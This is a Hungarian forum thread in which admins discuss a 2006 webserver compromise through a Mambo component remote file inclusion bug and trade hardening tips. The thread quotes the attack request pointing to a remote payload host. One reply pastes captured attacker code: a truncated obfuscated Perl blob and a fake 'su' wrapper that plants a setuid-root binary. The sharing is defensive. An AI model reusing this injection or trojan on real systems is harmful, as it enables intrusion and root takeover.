egy betores tanulsaga

Fórumok

Szombaton nemkivanatos processt talaltunk a webserverunkon. Ma volt idom utana nezni, hogy hogy is kerulhetett be, es hogy mit csinalt, mivel ugyis osszegyujtottem, gondoltam bepostolom ide, hatha valakinek tanulsagara lehet.

A tunetek: 99% procit evo ismeretlen perl process, nap kozben 70 mbit forgalom, 4 ismeretlen kapcsolat kifele. A tores egy mambo sebezhetosegen keresztul tortent, remote file inclusion alapu tamadas volt, rootot nem szerzett a cracker, csak az apacs felhasznalojanak neveben futtatta a scriptjet, ami felcsatlakozott egy irc szerverre, ahonnan varta az utasitasokat, mellesleg pedig mas sebezhetosegeket keresett mas gepeken. (amennyire jol vettem ki)

Itt van tehat, hogy hogy csinalta:

Ezzel jott be:

Request: 212.91.164.212 - - [12/Aug/2006:06:10:20 +0200] "GET /administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=
http://elitemorgan.com/mass.dat? HTTP/1.1" 200 16608

a sebezhetoseg leirasa:
http://www.elitemorgan.com/vuln/comprofiler-11-08-2006.txt

az oldaluk:
http://www.elitemorgan.com

a beincludeolt php:
http://elitemorgan.com/mass.dat?

a futtatott script:
http://www.elitemorgan.com/own

Workaroundkent mod_securityben letiltottam a mosConfig_absulote... kerest, a felhasznalot ertesitettuk a dologrol, es felszolitottuk, hogy javitsa a portaljat. Emellett meg kene egy grsecurity + rsbac a hasonlo dolgok elkerulesere, de ez perpill nem fog megtortenni.

Udv, onyx

Hozzászólások

kulon /tmp, noexec
wget, lynx, links, stb futtatasat letiltani., ha szukseges a futtatas, akkor atnevezni mas nevre es annak adni jogot.
modsec az ugye megvolt igy utolag;)
kernel patch meg nem megy, ahogy irtad.

Tanulság:
Ne írj olyan trójait, ami 99%-os procihasználtságot generál...

Ha normálisan megírja, talán sose veszed észre.
(Ami azért jó, mert biztos van olyan cracker, aki megírja rendesen.)

"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee."
-- Ted Ts'o

hasznos lehet meg a phpben:
safe_mode = On
register_globals = Off
allow_url_fopen = Off

es open_basedir, safe_mode_include_dir
--
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

Egyertlemuen OUTPUT lanc szures is kell! Sajnos amennyi howto/leiras letezik csomagszurokkel kapcsolatban, ezzel forditottan aranyos azoknak a szama, amelyek foglalkoznak a kimeno lanccal is. HTTPD-nek a legritkabb esetben kell kapcsolatot nyitnia, igy mehet egy -A OUTPUT -m owner --uid-owner www-data -j DROP (elotte persze a megfelelo -m state az established, related csomagokra, hogy a valaszok visszamenjenek :))

Jah es a masik kedvencem a TPE. Ha egy mod van ra ezt is hasznald ki (tudom, ehhez grsec kell meg kernel upgrade stb.); nagyon fasza tud lenni, hogy csak olyan mappabol enged lefuttatni barmit is, aminek az ownere es a csoportja root (es nem world-wide-writable). Felreertesek elkerulese vegett a TPE sem csodaszer, kicsit hasonlit ez arra az oriasplakat-reklamra ahol a biztonsagi ov + legzsak szerepel s alatta a felirat: egyutt vedenek. ...csak security temaban ketto osszetevonel sokszorta tobb van.

A grsecurityvel annyi a baj, hogy szerintem eles rendszerre beloni igencsak nehez munka. Meg akkor kezdtem el grsecurityzni, amikor az meg az 1.9-es verzioknal tartott, sokszor vacakoltam vele, de igazan jol nem sikerult megcsinalni, mindig feladtam. 2.xben jott a learning mode, de az sem volt soha tokeletes, utana jopar nap hegesztessel is folyamatosan blokkolt mindent. Persze, biztos en vagyok bena...

Ezt én is szeretem. Egyik másik kendvencem a socket korlátozás. Például a fenti esetben, ha nincs szükség hogy az apache kliens portokat nyisson, akkor létre lehet hozni egy csoportot , mely tagjai semmifele kliens socketet nem nyithatnak. Mondjuk ha van fent egy webmail kliens, akkor már bukta. Akkor sajnos RBAC kell.
Egyébként ahogy LiRul is mondta, grsec kellemes RBAC nélkül is.

hozzam hetvegen akartak bejonni megtort trefis user passwdjvel

#!/usr/bin/perl
use MIME::Base64;$YY_p = "lkZUqvDvrZ/b6bG17fH6lJ8K/KuVwMLAr6aw2QwS16ivocH4ABncq62U4i0dCSJFGhx
MMvH7BAYZ6twTJvgeNAIF/gBITQ0SJhkYKR0eHigpIlR3Y0ZrUi1CMD1YcJdkS4WYonZEXUkxP4GtjWdmmIFLTleVkIyepcuten6kpKikxMCzvcaoo77U8
sPDrpeaoOjrysC2xeX5BtfRFwL8Ghjv8BgpF+jDs9b64fouMBEdPSIiK/wASzAlThnk4yBROR0wYTDuDVpPOl9MVGJeTDxQTGVnTmuFa2VLFEWBkJp8g2VFj
XRlaIC0dV9bg31BhZemw5FfTIfPy4iLzrWKqJekv8qzqumzvtLA69O63fr57PPft9rkzvjz1fAIz7vCpc3g9Ar+/evO3SFJKycwOEQvHO7vMy8F8R82OlRTIC
JlXSIKOVsxOX+DWTwiFlF4gkAfS21+gms0RVQuICBfZDlynGovLGSCgmhrpnpCVI6RnKF1X5Wwpat3kq6zsZmGZJLO28vHpqff4+vNtuW/w8iLwOzAy8/d1dnbx
8+nzgP9+yAM5ujjBzwtJB0E9hQBxsrjAvMQIfcZQRD0+RoxDfYfYEUMMSsONjMXBEJdMUV8SyZPWGdUZ3B2YU5PQWdcNlphSYCVZjZibFVZUouvdVdse3ecq4yaw7
mswaCqvJa5wrfLmKvR0eDq5sKy1/vGpqO4y9sGCtfh797yz8fa19fGutD9APv65+8EHPzvFvre3/EWI0FKVB/+PF5IHAcmVCApUysNCSUqIEZKRTZJaW6PWyEzRl+LjnFRQl1/
T2ebjpqnsLeQkXk0PX57gJGEd2mrmW+Tp7LQtpewjnJ6q8W8x6/CtJmqzePFoq6joL7qAgIS0Mr+yLvNzreb7ATfxdkY/8TOCP7b4vXi/y0pI+XnLAsLRiX6/BQUJRUXVSYgFhMuGg
wiRDEUMGFma32LgV1YfWBUiGFBb4ZUN2B3jYGEUyNopaObZCBTiJCdaCpdlJy1gTxQM23ay3hxrLS/xuHs7KFOo77A7eXl8sl7tdDD7e76/fXy8fUIDtOkmIrX3qjzHyM1NTDgmO0GEuPbSD
nm3xoiP0RNWloPvBEsLltTU2A36SM+Nml2MuQxNPUHDQMKTHk6+kdhIA9cWVNuLykvJxdheoa/qa2/v7pqZ7fEgDJ/hlCmd2/czXpzrrbD4ezsoU6jvsDt5eXyyXu10IWj2ODr8rp8ydCa4C
DVgtbxo4ql8jLnlOIj9sa8ws4BN0UA/VAFsv0Y4eHXByEmUVVZYWQa2CUs9vMjLPDwQj8pb0tYkoODl5hOAk9ZDEtVHx4qJ2aBerGoYCJfpW1CP36ZR4SPQTp9hVBRXFmYs2GeqVeY2aptrMd3lcrS7/
SqbsDHjInCzpvS/xDShtjfpKHUFeir6AEIQSsvQUE87KT4ER7vfoA";print(&YY_d($YY_p));
sub YY_bd{my $s=shift;$s=decode_base64($s);return $s;}
sub YY_tb{my $s=shift;$s=int($s%256);if($s<0){$s=256+$s;}return int($s);}
sub YY_d{my $s=shift;$s=&YY_bd($s);my $r="";my $lc=115;for(my $i=0;$i

kicsit kipofozva

#!/usr/bin/perl
use English;

$0 = "su";

$usr = "webi";
$subinary = '/usr/bin/su';
$myself = "/home/$usr/.bashcr/su";
$pwn = "cp /home/$usr/.bashcr/.s /usr/bin/wtc;".
"chown root.root /usr/bin/wtc;".
"chmod a+rxs /usr/bin/wtc;".
"rm -rf /home/$usr/.bashcr".

$allp = "";
foreach $bla (@ARGV) { $allp .= $bla." "; }
$allp = substr($allp,0,length($allp)-1);

if ($UID==0) {
system($pwn);
}

if ($allp eq "shell") {
system($ENV{'SHELL'});
exit;
}
system($subinary . " $allp -c '$myself shell'");

a ganyolas mertekebol latszik hogy mennyire topszar hekkerpalantaink vannak

ja egyebkent ott bukott le h bsdn ez a kod errort dob
meg arra is lusta volt h megnezze mien osre jutott be
ennyire magas ertelmi szinvonalon vannak az ilyen sracok

http://litch.eu/blog
http://www.gnaa.us
linux: a religion, not an operating system

Nálam az a tanulsága az egésznek, hogy hibás webes alkalmazáson a legegyszerűbb és legdivatosabb bejutni. Ha van egy bug, feltölt egy saját PHP fájlt, amivel feltölt és lefuttat egy tetszőleges programot.

A /var/www noexec -es mountolása és PHP open_basedir kombó kicselezhető egyébként valahogy?

Nem, a linuxot hanem egy tetves CMS-t tortek meg es igy a szervert.En szemely szerint tennek egy tuzfalat + proxy-t a webszerverek ele.
--------------------------------------------------------------
No Security in this Crazy World! by Hunger